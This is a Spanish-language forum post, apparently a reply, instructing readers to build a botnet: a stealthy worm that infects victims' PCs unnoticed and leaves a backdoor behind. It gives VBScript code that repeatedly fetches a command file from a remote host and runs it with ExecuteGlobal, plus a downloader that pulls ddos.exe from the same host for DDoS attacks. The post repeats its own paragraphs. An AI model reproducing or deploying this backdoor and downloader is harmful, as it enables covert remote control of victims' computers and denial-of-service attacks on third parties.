Bueno, ya te aclararon en que consiste cada cosa. ahora te voy a contar cual es para mi la mejor opción.
Para hacer una botnet necesitas hacer un gusano (y no hay nada mejor que un lenguaje interpretado para eso), ese gusano debería ser bien sigiloso para infectar y reproducirse sin que las victimas se den cuenta dejando en cada ordenador infectado una "puerta trasera" abierta.
Para hacer un backdoor podes subir a un host un archivo en blanco (que luego vas a programar otro script dentro con comandos para descargar o ejecutar acciones en el pc infectado). Este archivo va a estar siendo checkeado y en caso de encontrar comandos dentro las ejecutara en el ordenador infectado dentro del script del gusano original.
Ejemplo de backdoor en vbs:
Una vez que tenes una buena red de zombies, cambias el archivo con los comandos del servidor y le pones lo que quieras que se ejecute.
Por ejemplo si queres que descargue un exe que realice un ataque DDos deberias poner este codigo en el txt que lee el backdoor y subir el ddos.exe al servidor
y bueno finalmente ejecutar el programa, script o comandos que quieras, deja volar tu imaginacion...
Saludos!
Para hacer una botnet necesitas hacer un gusano (y no hay nada mejor que un lenguaje interpretado para eso), ese gusano debería ser bien sigiloso para infectar y reproducirse sin que las victimas se den cuenta dejando en cada ordenador infectado una "puerta trasera" abierta.
Para hacer un backdoor podes subir a un host un archivo en blanco (que luego vas a programar otro script dentro con comandos para descargar o ejecutar acciones en el pc infectado). Este archivo va a estar siendo checkeado y en caso de encontrar comandos dentro las ejecutara en el ordenador infectado dentro del script del gusano original.
Ejemplo de backdoor en vbs:
Código (vb) [Seleccionar]
Do
Dim oXMLHTTP : Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP"):
oXMLHTTP.Open "GET", "http://www.ejemplo.com/comandos.txt", False:
oXMLHTTP.Send:
ExecuteGlobal oXMLHTTP.responseText :
Wscript.Sleep 1000:
Loop
Una vez que tenes una buena red de zombies, cambias el archivo con los comandos del servidor y le pones lo que quieras que se ejecute.
Por ejemplo si queres que descargue un exe que realice un ataque DDos deberias poner este codigo en el txt que lee el backdoor y subir el ddos.exe al servidor
Código (vb) [Seleccionar]
Dim oXMLHTTP
Dim oStream
Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP.3.0")
oXMLHTTP.Open "GET", "http://www.ejemplo.com/ddos.exe", False
oXMLHTTP.Send
If oXMLHTTP.Status = 200 Then
Set oStream = CreateObject("ADODB.Stream")
oStream.Open
oStream.Type = 1
oStream.Write oXMLHTTP.responseBody
oStream.SaveToFile "ddos.exe"
oStream.Close
End If
y bueno finalmente ejecutar el programa, script o comandos que quieras, deja volar tu imaginacion...
Saludos!